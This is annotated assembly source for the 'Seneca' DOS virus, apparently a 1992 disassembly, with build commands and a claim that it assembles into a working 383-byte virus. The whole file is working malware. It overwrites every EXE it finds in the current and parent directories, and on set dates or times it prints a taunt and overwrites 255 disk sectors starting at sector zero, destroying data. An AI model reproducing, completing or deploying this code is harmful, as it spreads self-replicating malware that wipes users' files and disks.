; Dissasembly of Seneca Virus by YAM circa 1992
;
; This virus is an ovewriting EXE infector. It infects all EXE files in the
; current directory and then traverses directories with a '..'. It restores
; the date, time, and attributes of a file but does not return to the original
; directory after it has terminated.
;
; It is nothing special (let me tell ya) but I was bored and needed something
; to do.
;
; To Compile: TASM SENECA.ASM
;             TLINK /T SENECA.OBJ
;
; It SHOULD compile into a working 383 byte virus, 1 byte smaller than the
; original 384 byte virus. (damned if I can find the byte).



        attr              equ     280h
        time              equ     282h
        date              equ     284h
        filehandle        equ     286h

        .model tiny
        .code
         org     100h

; Begin of Code
; The following routines is a collection of NOP instructions and recursive
; jumps. I don't really see the point but it wastes piles of space. :)

start:
                jmp     short nop_2
                nop
                nop
                nop
nop_1:
                jmp     short nop_3
                nop
                nop
                nop

nop_2:
                jmp     short nop_1
                nop
                nop
                nop

nop_3:
		mov	ah,2Ah
                int     21h                     ; Get Date


                cmp     cx,7BCh                 ; Check for 1980
                jle     check_30past

                jmp     short $+3               ; Delay??
		nop

                mov     ah,2Ah
                int     21h                     ; Get Date AGAIN!

                cmp     dh,0Bh                  ; Check For November

                je      check_day               ; If it's November check
                                                ; for the day

                jmp     short find_first
                nop

check_day:
                mov     ah,2Ah
                int     21h                     ; Get Date AGAIN!!!!!!
                                                ; Redundant Code Sucks

                cmp     dl,19h                  ; Check for 25th
                je      sen_bday

                jmp     short find_first
                nop

check_30past:
		mov	ah,2Ch
                int     21h                     ; Get Time

                cmp     cl,1Eh                  ; Check For 30 Minutes
		jge	loc_9			; Jump if > or =
                jmp     short find_first

			                        ;* No entry point to code
		nop
find_first:
                mov     dx,offset exe_spec
                mov     ah,4Eh
                xor     cx,cx
                int     21h                     ; Find First EXE File in Dir

                jc      drop_dir                ; If None, Drop Dir

                jmp     short infect
                nop

find_next:
		mov	ah,4Fh
		int	21h			; DOS Services  ah=function 4Fh
                                                ; find next filename match
		cmp	ax,12h
                je      drop_dir                ; Jump if equal
                jmp     short infect

		nop
drop_dir:
                mov     dx,offset dot_dot
		mov	ah,3Bh
                int     21h                     ; Set Current Directory

                jc      done                    ; No More Directories to
                                                ; drop

                jmp     short find_first

loc_9:
		mov	ah,9
                mov     dx,offset toomuch
                int     21h                     ; Tell the user he plays
                                                ; with his computer too much
                                                ; and then trash drive

                jmp     short disk_trash
                nop
sen_bday:
		mov	ah,9
                mov     dx,offset bday
                int     21h                     ; Show It's a Birthday String
                                                ; and then trash drive

disk_trash:
		mov	ah,19h
                int     21h                     ; Get Default Drive

                mov     cx,0FFh                 ; Trash 255 Sectors
                mov     dx,0                    ; Starting At Zero
                int     26h                     ; Crunch Drive

                jc      done                    ; If Error Terminate?
                                                ; Hell, the next command
                                                ; is terminate anyways!

done:
		int	20h			; DOS program terminate

infect:
                mov     bx,80h

                mov     ax,[bx+15h]
                mov     ds:attr,ax

                mov     ax,[bx+16h]
                mov     ds:time,ax              ; Save Time

                mov     ax,[bx+18h]
                mov     ds:date,ax              ; Save Date


                mov     al,2
		mov	ah,3Dh
                int     21h
                                                ; Open File

                mov     ds:filehandle,ax
                mov     bx,ds:filehandle
		mov	ah,3Eh
                int     21h                     ; Close File

                mov     ah,3Dh
                mov     dx,09Eh
                mov     al,2
                int     21h                     ; Open File


                mov     ds:filehandle,ax
                mov     bx,ds:filehandle
                mov     cx,188h
		nop
                mov     dx,100h
		nop
		mov	ah,40h
                int     21h                     ; Write 392 Bytes to Disk
                                                ; but the virus is only
                                                ; 384? Huh?


                mov     bx,ds:filehandle

                mov     cx,ds:time              ; Restore time
                mov     dx,ds:date              ; Rextore date


                mov     al,1
		mov	ah,57h
                int     21h                     ; Clique

                mov     bx,ds:filehandle
		mov	ah,3Eh
                int     21h                     ; Close File (AGAIN!!!)

                mov     cx,ds:attr
		mov	al,1
                mov     dx,09Eh
		mov	ah,43h
                int     21h                     ; Restore File Attributes

                jmp     find_next               ; Get Next File


bday            db      'HEY EVERYONE!!!', 0Dh, 0Ah, 'Its'
		db	' Seneca', 27h, 's B-Day!  Let', 27h
                db      's Party!', 0Dh, 0Ah, '$'

toomuch         db      'You shouldn', 27h, 't use your c'
		db	'omputer so much,', 0Dh, 0Ah, 'it'
                db      's bad for you and your computer.'
		db	0Dh, 0Ah, '$'


exe_spec        db      '*.exe',0
dot_dot         db      '..',0

end     start
